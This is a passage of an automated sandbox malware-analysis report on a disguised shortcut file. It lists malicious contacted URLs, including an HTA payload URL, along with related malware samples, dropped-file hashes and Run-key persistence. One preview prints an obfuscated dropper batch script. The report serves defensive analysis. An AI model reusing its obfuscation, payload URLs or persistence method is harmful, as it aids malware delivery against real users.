http://r3.i.lencr.org/0o	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.hta...	mshta.exe, 00000009.00000002.1864667684.000001A2C42A0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000E.00000003.1320362193.0000021C38CD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/download?resid=849ABDB14CA5CEC3%21220&authkey=	uc.exe, 00000013.00000002.1500694013.00000000025D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 0000000F.00000002.1678474741.000002B000001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A051000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.sessosesso.it/assets/aw/yt.htaLMEMX	mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.o	powershell.exe, 0000000F.00000002.1839645117.000002B07C378000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.pmail.com	uc.exe, uc.exe, 00000013.00000002.1514685918.0000000014B20000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1438376010.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000000.1494201950.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif, 00000019.00000000.1623023662.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif, 0000001B.00000000.1707510490.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif.19.dr	false		high
http://ocsp.sectigo.com0C	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://onedrive.live.com/downlo	uc.exe, 00000013.00000002.1500694013.00000000025ED000.00000004.00001000.00020000.00000000.sdmp	false		high
https://zyupsq.by.files.1drv.com/y4meSWi_sxRIVEad6REzmio40CREEc5i8wX7nys_a0wT5VjuHcwzIZewYF7haE8C4Cu	uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.139.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.185.124.132	mail.irmaklarpaslanmaz.com.tr	United States	46606	UNIFIEDLAYER-AS-1US	true
89.46.106.29	sessosesso.it	Italy	31034	ARUBA-ASNIT	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430751
Start date and time:	2024-04-24 06:44:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FT. 40FE CNY .xlsx.lnk
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winLNK@26/26@5/4
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 96% Number of executed functions: 155 Number of non-executed functions: 50
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.122.106, 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, fs.microsoft.com, odc-by-files-brs.onedrive.akadns.net, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, l-0003.l-msedge.net, e16604.g.akamaiedge.net, by-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-by-files-geo.onedrive.akadns.net, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target mshta.exe, PID 7260 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7688 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:45:14	API Interceptor	95x Sleep call for process: powershell.exe modified
06:45:18	API Interceptor	2x Sleep call for process: svchost.exe modified
06:45:19	API Interceptor	1x Sleep call for process: mshta.exe modified
06:45:30	API Interceptor	2x Sleep call for process: uc.exe modified
08:24:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Ucvuiswb C:\Users\Public\Ucvuiswb.url
08:24:36	API Interceptor	40077x Sleep call for process: bwsiuvcU.pif modified
08:24:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Ucvuiswb C:\Users\Public\Ucvuiswb.url
08:24:44	API Interceptor	2x Sleep call for process: Ucvuiswb.PIF modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
13.107.139.11	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	https://1drv.ms/o/s!BDwGtOL3Ob0ShA6L6a7ghGOEVOBw?e=-nVgacgL8k2GcXGT6ejjHg&at=9%22)%20and%20ContentType:(%221%22)	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Signed Proforma Invoice 3645479_pdf.vbs	Get hash	malicious	FormBook	Browse
	ORDER-CONFIRMATION-DETAILS-000235374564.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	20240416-703661.cmd	Get hash	malicious	DBatLoader	Browse
	20240416-703661.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	disktop.pif.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	z15ORDERBR2024-B001054840.vbs	Get hash	malicious	Unknown	Browse
89.46.106.29	#U56de#U590d BULK ORDER PO#GDN-JL-OO-231227.xlsx.lnk	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sessosesso.it	#U56de#U590d BULK ORDER PO#GDN-JL-OO-231227.xlsx.lnk	Get hash	malicious	Unknown	Browse	89.46.106.29
www.sessosesso.it	#U56de#U590d BULK ORDER PO#GDN-JL-OO-231227.xlsx.lnk	Get hash	malicious	Unknown	Browse	89.46.106.29
dual-spov-0006.spov-msedge.net	HFiHWvPsvA.rtf	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	https://1drv.ms/o/s!BDwGtOL3Ob0ShA6L6a7ghGOEVOBw?e=-nVgacgL8k2GcXGT6ejjHg&at=9%22)%20and%20ContentType:(%221%22)	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.139.11
	UGS - CRO REQ - KHIDUBAI (OPL-841724).scr	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.107.137.11
	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	Signed Proforma Invoice 3645479_pdf.vbs	Get hash	malicious	FormBook	Browse	13.107.139.11

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARUBA-ASNIT	#U56de#U590d BULK ORDER PO#GDN-JL-OO-231227.xlsx.lnk	Get hash	malicious	Unknown	Browse	89.46.106.29
	2x6j7GSmbu.exe	Get hash	malicious	FormBook	Browse	62.149.189.71
	EYhvUxUIsT.elf	Get hash	malicious	Mirai	Browse	95.110.130.125
	2EFEN3j6ml.elf	Get hash	malicious	Unknown	Browse	80.211.52.147
	PhvvLCLFym.elf	Get hash	malicious	Mirai	Browse	95.110.143.4
	HfuP5Csj29.elf	Get hash	malicious	Mirai	Browse	31.14.139.42
	UGXRHW5XnG.elf	Get hash	malicious	Mirai	Browse	217.73.230.186
	Gq730kmpiE.elf	Get hash	malicious	Unknown	Browse	188.213.171.76
	uvaXiyELu9.elf	Get hash	malicious	Mirai	Browse	212.237.50.240
	lUJIhHyHmC.elf	Get hash	malicious	Mirai, Moobot	Browse	5.249.139.193
UNIFIEDLAYER-AS-1US	CREDIT NOTE.exe	Get hash	malicious	AgentTesla	Browse	192.185.129.60
	Total Invoices.exe	Get hash	malicious	AgentTesla	Browse	192.185.129.60
	knfV5IVjEV.lnk	Get hash	malicious	Unknown	Browse	162.241.216.65
	http://www.noahsarkademy.com	Get hash	malicious	Unknown	Browse	69.49.230.31
	CR-FEDEX_TN-775720741041.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.13.234
	Wire Transfer Payment Receipt#2024-22-04.exe	Get hash	malicious	AgentTesla	Browse	162.144.15.164
	DHL_RF_20200712_BN_OTN 0095673441.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.13.234
	https://c8rzg8yq.r.us-east-1.awstrack.me/L0/https:%2F%2Fimaot.co.il%2FContentArea%2FBannerClick%3FBannerId=437%26BannerType=CookbookBanner%26ContentAreaId=74%26SiteUrl=mexperiencia.com%2Felvisa%2F451c858f52d4a1deb2b006143366fdc7%2F6VrgwA%2FcnRpdUB6ZW5kZXNrLmNvbQ==/1/0100018ef745f143-c3ec9f00-7fd4-48c1-9788-f0017cd20054-000000/By5Tv4iHSsE-ml_PGFCkji_Ea6g=370	Get hash	malicious	Unknown	Browse	162.241.225.201
	DHL INVOICE.scr.exe	Get hash	malicious	AgentTesla	Browse	192.185.171.184
	PO No. 2430800015.exe	Get hash	malicious	AgentTesla	Browse	162.241.225.141
MICROSOFT-CORP-MSN-AS-BLOCKUS	3Shape Unite Installer.exe	Get hash	malicious	Unknown	Browse	40.67.232.186
	OHkRFujs2m.exe	Get hash	malicious	Unknown	Browse	104.208.16.94
	SecuriteInfo.com.Trojan.MSIL.zgRAT.Heur.21652.15881.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.107.213.69
	https://wmicrosouab-4ba8.udydzj.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	https://uqgekpc20qn1.azureedge.net/6466/	Get hash	malicious	TechSupportScam	Browse	13.107.213.69
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.89.178.26
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://condoresorts.com/	Get hash	malicious	Unknown	Browse	13.107.246.69
	https://u44058082.ct.sendgrid.net/ls/click?upn=u001.wjMLvmoK1OC9dTKy5UL4VbqcIJmZWkGKJypB0ZF6j6rXk8HVnxe0g2af-2BenroUoONz6EEWthgE-2Bi2vVRUosKTZRVQ5v63hCdxrdKCztVooIv51imK8tr-2Bb3beAsH6u-2FNluJlUKmd7nST-2B9m-2Bl2Rgv4y6uHLimO0TjhZzZ-2F-2BDlllJQne3tT99z6x4W12pJpddTL-2BoJ2-2Bdo6961pFN3dV2Rg-3D-3DeWGT_h-2FW4DSvZGhKY-2FmU3Rq-2F3L-2FXo2OZSHdaVvlpgAgHQWDXPYB9CNYi-2FcvonFCbsEhjt9RP-2BQa7dTwbMJOOaP3JRnMW6mQAitl6qAb1EkaAR-2BmnZDE6Bi3ooqtCrrMW-2F3TPNMK3AVi1YKIdTOZivmUJGaXdrtbqCykfnTTkN9KMRy80rdRqf6LWUCYWGeeaXb-2BD6jokMbr-2FaJKvKMHDNWAfHyhaE6QO9pw7souFUseKb40g-3D	Get hash	malicious	HTMLPhisher	Browse	52.96.189.2
	zlONcFaXkc.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	23.101.168.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	89.46.106.29
	G4-TODOS.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	89.46.106.29
	Reconfirm Details.vbs	Get hash	malicious	AgentTesla	Browse	89.46.106.29
	purchase order pdf.exe	Get hash	malicious	AgentTesla	Browse	89.46.106.29
	PO 23JC0704-Rollease-B.exe	Get hash	malicious	AgentTesla	Browse	89.46.106.29
	3Shape Unite Installer.exe	Get hash	malicious	Unknown	Browse	89.46.106.29
	ScreenConnect.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	89.46.106.29
	ScreenConnect.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	89.46.106.29
	X1.exe	Get hash	malicious	XWorm	Browse	89.46.106.29
	Output.exe	Get hash	malicious	RedLine, XWorm	Browse	89.46.106.29
a0e9f5d64349fb13191bc781f81f42e1	OHkRFujs2m.exe	Get hash	malicious	Unknown	Browse	13.107.139.11
	file.exe	Get hash	malicious	RisePro Stealer	Browse	13.107.139.11
	z56NF-Faturada-23042024.msi	Get hash	malicious	MicroClip	Browse	13.107.139.11
	768.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.139.11
	Gam.xls	Get hash	malicious	Unknown	Browse	13.107.139.11
	szamla_sorszam_8472.xlsm	Get hash	malicious	Unknown	Browse	13.107.139.11
	iPUk65i3yI.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	asbpKOngY0.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	https://www.epa.gov/climateleadership/simplified-ghg-emissions-calculator	Get hash	malicious	Unknown	Browse	13.107.139.11
37f463bf4616ecd445d4a1937da06e19	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	89.46.106.29
	G4-TODOS.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	89.46.106.29
	Reconfirm Details.vbs	Get hash	malicious	AgentTesla	Browse	89.46.106.29
	#U56de#U590d BULK ORDER PO#GDN-JL-OO-231227.xlsx.lnk	Get hash	malicious	Unknown	Browse	89.46.106.29
	181_960.msi	Get hash	malicious	Unknown	Browse	89.46.106.29
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	89.46.106.29
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	89.46.106.29
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	89.46.106.29
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	89.46.106.29
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	89.46.106.29

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\easinvoker.exe	HFiHWvPsvA.rtf	Get hash	malicious	Remcos, DBatLoader	Browse
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Purchase order.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Quotation 20242204.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	2020.xls	Get hash	malicious	Remcos, DBatLoader	Browse
	Quotation 20241804.exe	Get hash	malicious	Remcos, DBatLoader	Browse
C:\Users\Public\Libraries\bwsiuvcU.pif	ORDER-CONFIRMATION-DETAILS-000235374564.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	20240416-703661.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	disktop.pif.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	82__GT7568.PDF.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	SecuriteInfo.com.Win32.Evo-gen.25660.20544.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.15258.6765.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	rKjlbIeOH9.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	CONFIRMATION ORDER1.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	CONFIRMATION ORDER0.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067168232326468
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh0p
MD5:	8107C44FFAE18504731873FF06C8ABE1
SHA1:	C07323DF119B7CB044660066615A03D5BFFF550C
SHA-256:	D763396AE855BCF39008DD03A914A059DEC87C400398F3A1A442C27E2B8F0F8E
SHA-512:	A1C1A28EDDBC74D95ECB092184A5F268F4995602CF3BA0E187C67E7B480F83D83B4DBA7D21C5EA9A3639F79F10BB1719468EA4CF9CD647A5048CFC8B0370EFF5
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5990b467, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900120382330043
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	87B55928FC615D66251922BB21FFFF71
SHA1:	02057BCCD711301E9457B0625F94230E2D5DF3EF
SHA-256:	5A4FAB1A20F616FF00E04A119ED37139AAACC41DC3194FB451FBFF503D6D1F21
SHA-512:	AA208B518015D51C2D578E1E65B4FC7408F9123CA144348D906B2D4B53BBD884FD2150DE9596825C16BCD98B920F8FA734F7F9C9C71D6CBC39DB9355AA8EB998
Malicious:	false
Preview:	Y..g... ...............X\...;...{......................0.`.....42...{5..-...\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.......................................-...\|...................;..-...\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08244686514367672
Encrypted:	false
SSDEEP:	3:1ZlllyYeAc9hg1t/57Dek3Jh2IQlallEqW3l/TjzzQ/t:VllyzxhgHR3t2Amd8/
MD5:	1278C12E3DCE809C7FE1D27BFD5B7B2B
SHA1:	E130000151DBFEDC6C2E7D175A16FF39EBE73380
SHA-256:	8C574CE134E618AB83C42537E68A97BFC0610A5320CC81E420829C596AE19B58
SHA-512:	F78DAEAD1C0D4FA022B47AB8B94BB12FA6B38FFD4BDE4299DA499E58A23DBD77D5148B17B99312CBD0316676B6CDBF4CA1276E3C587C2AF7245D925E8B6E081F
Malicious:	false
Preview:	.........................................;...{...-...\|..42...{5.........42...{5.42...{5...Y.42...{59.................;..-...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Libraries\KDECO.bat

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	DOS batch file, ASCII text, with very long lines (468), with CRLF line terminators
Category:	dropped
Size (bytes):	3646
Entropy (8bit):	5.383959173452972
Encrypted:	false
SSDEEP:	96:Zx2A0d5a9zHPwo0uP6SXjr4XtgPmon38JV7ZVhvoXS966hYxcdF4AlM5NQYE2Pl+:3L6jThc/pkmZAXpA2
MD5:	71E46EFE9932B83B397B44052513FB49
SHA1:	741AF3B8C31095A0CC2C39C41E62279684913205
SHA-256:	11C20FABF677CD77E8A354B520F6FFCA09CAC37CE15C9932550E749E49EFE08A
SHA-512:	76DA3B441C0EAAAABDD4D21B0A3D4AA7FD49D73A5F0DAB2CFB39F2E114EFE4F4DABE2D46B01B66D810D6E0EFA97676599ECE5C213C1A69A5F2F4897A9B4AC8DA
Malicious:	false
Preview:	@echo off..set "Nnqr=set "..%Nnqr%"njyC=="..%Nnqr%"qkMvMLsfma%njyC%http"..%Nnqr%"dbvWEsxWns%njyC%rem "..%Nnqr%"NpzRZtRBVV%njyC%Cloa"..%Nnqr%"ftNVZzSZxa%njyC%/Bat"..%Nnqr%"TwupSEtIWD%njyC%gith"..%Nnqr%"yIGacXULig%njyC%k"..%Nnqr%"uGlGnqCSun%njyC%h2sh"..%Nnqr%"FUsYUbfxRq%njyC%s://"..%Nnqr%"ewghYLVJDJ%njyC%om/c"..%Nnqr%"ZxOeNaoDFO%njyC%ub.c"..%dbvWEsxWns%%qkMvMLsfma%%FUsYUbfxRq%%TwupSEtIWD%%ZxOeNaoDFO%%ewghYLVJDJ%%uGlGnqCSun%%ftNVZzSZxa%%NpzRZtRBVV%%yIGacXULig%..%Nnqr%"dbvWEsxWns%njyC%@ech"..%Nnqr%"qkMvMLsfma%njyC%o of"..%Nnqr%"FUsYUbfxRq%njyC%f"..%dbvWEsxWns%%qkMvMLsfma%%FUsYUbfxRq%..%Nnqr%"NOtbuvMLuE%njyC%alph"..%Nnqr%"jSzGRzcKvC%njyC%ul 2"..%Nnqr%"KhBjpctAkV%njyC%.exe"..%Nnqr%"ftNVZzSZxa%njyC%c32."..%Nnqr%"czhHhGJsdj%njyC%m32\"..%Nnqr%"TOzhrohQZT%njyC% C:\"..%Nnqr%"NpzRZtRBVV%njyC%exe "..%Nnqr%"ppIMorhdlj%njyC% &"..%Nnqr%"SXdBSshqoL%njyC%Publ"..%Nnqr%"apGEijJnKT%njyC%\cmd"..%Nnqr%"qkMvMLsfma%njyC%Wind"..%Nnqr%"QxcSEoHMVZ%njyC%s\\S"..%Nnqr%"AvhQIkjRki%njyC%a.ex"..%Nnqr%"yIGacXULig%njyC%/

C:\Users\Public\Libraries\Null

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Bv:Z
MD5:	6E7931A650D82FA4F83332BEBE8AD018
SHA1:	311732BAD841789F43C3EF055A9FDF8A261AE4A8
SHA-256:	CE60DA21A19E0A3D484FC4EE3F868999745B7F23475772EA8C87C7BDE54C4B43
SHA-512:	BD7BBFA2722C680021FFA084438E4303283D866D24CE62BE842D4115C6094B4AA891CBBFCDB1CAD59D68A6A54649738EE4DB198DA3B5EEB25E07ACC5FD357426
Malicious:	false
Preview:	21..

C:\Users\Public\Libraries\Ucvuiswb

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	data
Category:	dropped
Size (bytes):	599202
Entropy (8bit):	7.05520368590051
Encrypted:	false
SSDEEP:	12288:6l/6EU9okQLUg90U56QKfIEhMfHU0MlXk5:6l/c9okkYUYHQEIHxMlXS
MD5:	83DDE1E0DA8E837B3C94EE26FE5E9FE1
SHA1:	7851FCC15BDBCE2DCB0565FE78F52DC879A14569
SHA-256:	3183D63A4383372B36A88237E077FF92960605391CE897B55E3B0D4384A1FCCD
SHA-512:	ADC2B0B71971AB1494AF4B90F0B6101E1BC4001F6A318ADE2651494E46E9DFDECF0594AB37E5A9886342F291A51A0508D96131EE62BE74D5FADFFD1B64070761
Malicious:	true
